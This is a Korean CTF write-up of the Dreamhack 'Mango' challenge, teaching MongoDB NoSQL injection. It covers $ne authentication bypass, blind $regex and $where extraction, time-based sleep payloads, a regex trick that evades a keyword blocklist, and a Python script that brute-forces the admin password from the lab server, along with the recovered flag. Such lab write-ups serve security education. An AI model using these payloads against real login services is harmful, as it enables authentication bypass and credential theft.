Dreamhack Mango Write-up
NoSQL Injection
NoSQL Injection은 SQL Injection과 공격 목적 및 방법이 매우 유사하다. 두 공격 모두 이용자의 입력값이 쿼리에 포함되면서 발생하는 문제점이다. MongoDB의 NoSQL Injection 취약점은 주로 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생한다.
SQL은 문자열, 정수, 날짜 등의 자료형을 사용하지만, MongoDB는 이 외에도 오브젝트, 배열 타입을 사용할 수 있다. 오브젝트 타입의 입력값을 처리할 때는 쿼리 연산자를 사용할 수 있는데, 이를 통해 다양한 공격이 가능하다.
Express에서의 타입 주입
Express는 URL 파라미터에서 [키]=값 형태를 객체로 파싱한다.
?data=1234 → data: "1234" (string)
?data[]=1234 → data: ['1234'] (object)
?data[5678]=1234 → data: { '5678': '1234' } (object)
타입 검증이 없으면 문자열 대신 객체가 주입될 수 있고, 이를 통해 MongoDB 연산자를 사용할 수 있다.
$ne 연산자를 이용한 인증 우회
$ne는 not equal의 약자로, 입력한 데이터와 일치하지 않는 데이터를 반환한다. 따라서 계정 정보를 모르더라도 다음과 같이 입력해 해당 정보를 알아낼 수 있다.
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
→ db.user.find({"uid": {$ne:"a"}, "upw": {$ne:"a"}})
=> [{"uid":"admin", "upw":"password"}]
Blind NoSQL Injection
NoSQL Injection을 통해 의도하지 않은 결과를 반환해 인증을 우회하는 것 외에도, 데이터베이스의 정보를 알아낼 수 있다. 이때 사용할 수 있는 공격 기법으로는 Blind NoSQL Injection이 있다. Blind SQL Injection과 같이 참/거짓 결과를 통해 데이터베이스 정보를 알아낼 수 있다.
MongoDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있다.
| $expr | 쿼리 언어 내에서 집계 식을 사용할 수 있습니다. |
| $regex | 지정된 정규식과 일치하는 문서를 선택합니다. |
| $text | 지정된 텍스트를 검색합니다. |
| $where | JavaScript 표현식을 만족하는 문서와 일치합니다. |
$regex
정규식을 사용해 식과 일치하는 데이터를 조회한다. ^글자 패턴으로 특정 문자로 시작하는지 확인할 수 있다.
db.user.find({upw: {$regex: "^a"}}) // upw가 'a'로 시작? → 결과 없음
db.user.find({upw: {$regex: "^g"}}) // upw가 'g'로 시작? → 결과 반환!
// => { "uid": "guest", "upw": "guest" }
$where + substring
JavaScript 표현식을 직접 실행할 수 있는 연산자로, substring을 활용해 한 글자씩 비교할 수 있다.
db.user.find({$where: "this.upw.substring(0,1)=='a'"}) // 첫 글자가 'a'?
db.user.find({$where: "this.upw.substring(0,1)=='g'"}) // → 결과 반환!
Sleep 함수를 통한 Time based Injection
결과가 직접 보이지 않을 때는 sleep 함수를 활용해 시간 지연으로 참/거짓을 판단할 수 있다.
?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
→ 첫 글자가 'g'이면 5초 지연 발생 → 맞는 글자!
문제 개요
MongoDB를 사용하는 로그인 서비스에서 Blind NoSQL Injection 취약점을 이용해 admin 계정의 비밀번호(플래그)를 추출하는 문제.
{'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
엔드포인트 분석
/login — 취약점 발생 지점
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if(result){
res.send(result['uid']); // 로그인 성공 → uid 반환
}else{
res.send('undefined'); // 로그인 실패 → undefined 반환
}
})
});
- req.query의 타입을 검증하지 않아 객체(object) 주입 가능
- 로그인 성공 시 admin, 실패 시 undefined 반환 → 참/거짓 판단 가능 → Blind Injection
filter 함수 — 차단 목록
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
admin, dh, admi 문자열이 포함된 요청을 차단한다.
취약점 분석
1. 타입 검증 없음 → 객체 주입 가능
Express는 URL 파라미터에서 uid[$regex]=값 형태를 uid: {$regex: "값"} 객체로 파싱한다. 타입 검증이 없으므로 MongoDB 연산자($regex, $ne 등)를 주입할 수 있다.
?uid[$regex]=ad.in
→ uid: { $regex: "ad.in" } // 객체로 변환됨
2. 참/거짓 응답 노출 → Blind Injection 가능
상황 응답
| 로그인 성공 | admin |
| 로그인 실패 | undefined |
응답의 차이로 쿼리 결과의 참/거짓을 판단할 수 있다.
공격 방법
1. filter 우회
BAN 목록의 admin, dh는 정규식의 .(임의 문자 하나)를 이용해 우회한다.
차단 문자열 우회 방법 설명
| admin | ad.in | .이 m을 대체 |
| dh | D.{ | 대소문자 구분 + . 활용 |
/login?uid[$regex]=ad.in&upw[$regex]=D.{*
→ uid가 admin과 매칭, upw가 DH{...와 매칭
→ 응답: admin
2. $regex로 비밀번호 한 글자씩 추출
^글자 패턴으로 비밀번호가 특정 문자로 시작하는지 확인한다.
upw[$regex]=D.{a → 응답: admin (첫 번째 글자는 'a')
upw[$regex]=D.{b → 응답: undefined
...
upw[$regex]=D.{ab → 응답: admin (두 번째 글자는 'b')
이 과정을 32번 반복하면 전체 비밀번호를 알아낼 수 있다.
Exploit 코드
import requests, string
HOST = 'http://host3.dreamhack.games:14894'
ALPHANUMERIC = string.digits + string.ascii_letters # 0-9, a-z, A-Z
SUCCESS = 'admin'
flag = ''
for i in range(32): # 플래그는 32글자
for ch in ALPHANUMERIC: # 각 자리마다 모든 문자 시도
response = requests.get(
'{}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{}{}'.format(HOST, flag, ch)
)
if response.text == SUCCESS: # 응답이 'admin'이면 맞는 글자!
flag += ch
break
print('FLAG: DH{' + flag + '}')
동작 원리
flag = ''
1번째 글자:
D.{0 → undefined
D.{1 → undefined
...
D.{8 → admin → flag = '8'
2번째 글자:
D.{80 → undefined
...
D.{89 → admin → flag = '89'
...32번 반복 → DH{89e50fa6fafe2604e33c0ba05843d3df} 완성!
풀이 단계
Step 1. 브라우저에서 filter 우회 및 $regex 동작 확인
http://host3.dreamhack.games:14894/login?uid[$regex]=ad.in&upw[$regex]=D.{*
Step 2. Python exploit 코드 작성 후 실행
python exploit.py
Flag


'CTF' 카테고리의 다른 글
| Image-Storage (0) | 2026.06.02 |
|---|---|
| Command Injection (0) | 2026.06.02 |
| Simple SQLi (0) | 2026.05.29 |
| CSRF - 2 (0) | 2026.05.27 |
| CSRF - 1 (0) | 2026.05.27 |